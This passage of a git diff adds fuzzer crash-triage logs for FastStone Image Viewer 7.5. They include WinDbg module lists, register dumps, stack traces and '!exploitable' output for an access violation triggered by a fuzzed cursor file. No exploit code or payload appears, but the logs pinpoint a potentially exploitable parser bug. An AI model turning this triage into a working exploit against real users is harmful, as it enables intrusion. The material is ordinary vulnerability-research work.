00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74ba0000 00000000`74bc2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73da0000 00000000`73f04000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73bc0000 00000000`73da0000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(ee0.1538): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=1101ffff ebx=00481c9c ecx=4e1c08c6 edx=000005f0 esi=00481c9c edi=093d2fd4 +eip=005bdf49 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac po cy +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210213 +image00000000_00400000+0x1bdf49: +005bdf49 8b00 mov eax,dword ptr [eax] ds:002b:1101ffff=???????? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.760750300146320480000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.652966000000000000000e+0006 +image00000000_00400000+0x1bdf49: +005bdf49 8b00 mov eax,dword ptr [eax] ds:002b:1101ffff=???????? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-6709.43 1.59816e-017 -0.00521827 1.24719e-014 +image00000000_00400000+0x1bdf49: +005bdf49 8b00 mov eax,dword ptr [eax] ds:002b:1101ffff=???????? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 1101ffff 0000f011 1111f100 1001ff0f image00000000_00400000+0x1bdf49 +0019f950 00000000 1111f100 1001ff0f 1101ffff 0x1101ffff + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1101ffff +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdf49 mov eax,dword ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:3 +BASIC_BLOCK_INSTRUCTION:005bdf49 mov eax,dword ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdf4b cmp dword ptr [eax+558h],0 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdf52 je image00000000_00400000+0x1bdf7e (005bdf7e) +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:ZeroFlag +MAJOR_HASH:0x7e5b5c0d +MINOR_HASH:0x7e2c470d +STACK_DEPTH:2 +STACK_FRAME:image00000000_00400000+0x1bdf49 +STACK_FRAME:Unknown +INSTRUCTION_ADDRESS:0x00000000005bdf49 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Data from Faulting Address controls Branch Selection +SHORT_DESCRIPTION:TaintedDataControlsBranchSelection +CLASSIFICATION:UNKNOWN +BUG_TITLE:Data from Faulting Address controls Branch Selection starting at image00000000_00400000+0x00000000001bdf49 (Hash=0x7e5b5c0d.0x7e2c470d) +EXPLANATION:The data from the faulting address is later used to determine whether or not a branch is taken. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/11958/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/11958/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..389511f Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/11958/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/25903/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/25903/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9eb6efe --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/25903/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x000000001101ffff \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/25903/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/25903/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..3bc269a Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/25903/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/25903/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/25903/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..773b0c7 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/25903/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,154 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xC08: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xC08: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001d0000 00000000`001ed000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(c08.1b50): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=1101ffff ebx=00481c9c ecx=954ab875 edx=000005f0 esi=00481c9c edi=07c76fd4 +eip=005bdf49 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac po cy +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210213 +image00000000_00400000+0x1bdf49: +005bdf49 8b00 mov eax,dword ptr [eax] ds:002b:1101ffff=???????? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.724158553165415520000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdf49: +005bdf49 8b00 mov eax,dword ptr [eax] ds:002b:1101ffff=???????? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=6.38747e-032 -6.63114 25896.6 24053.5 +image00000000_00400000+0x1bdf49: +005bdf49 8b00 mov eax,dword ptr [eax] ds:002b:1101ffff=???????? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 1101ffff 0000f011 1111f100 1001ff0f image00000000_00400000+0x1bdf49 +0019f950 00000000 1111f100 1001ff0f 1101ffff 0x1101ffff + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1101ffff +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdf49 mov eax,dword ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:3 +BASIC_BLOCK_INSTRUCTION:005bdf49 mov eax,dword ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdf4b cmp dword ptr [eax+558h],0 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdf52 je image00000000_00400000+0x1bdf7e (005bdf7e) +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:ZeroFlag +MAJOR_HASH:0x7e5b5c0d +MINOR_HASH:0x7e2c470d +STACK_DEPTH:2 +STACK_FRAME:image00000000_00400000+0x1bdf49 +STACK_FRAME:Unknown +INSTRUCTION_ADDRESS:0x00000000005bdf49 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Data from Faulting Address controls Branch Selection +SHORT_DESCRIPTION:TaintedDataControlsBranchSelection +CLASSIFICATION:UNKNOWN +BUG_TITLE:Data from Faulting Address controls Branch Selection starting at image00000000_00400000+0x00000000001bdf49 (Hash=0x7e5b5c0d.0x7e2c470d) +EXPLANATION:The data from the faulting address is later used to determine whether or not a branch is taken. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/25903/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/25903/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..773b0c7 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x7e5b5c0d_0x7e2c470d/25903/WindowsDebugEngine_description.txt @@ -0,0 +1,154 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xC08: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xC08: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001d0000 00000000`001ed000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(c08.1b50): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=1101ffff ebx=00481c9c ecx=954ab875 edx=000005f0 esi=00481c9c edi=07c76fd4 +eip=005bdf49 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac po cy +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210213 +image00000000_00400000+0x1bdf49: +005bdf49 8b00 mov eax,dword ptr [eax] ds:002b:1101ffff=???????? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.724158553165415520000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 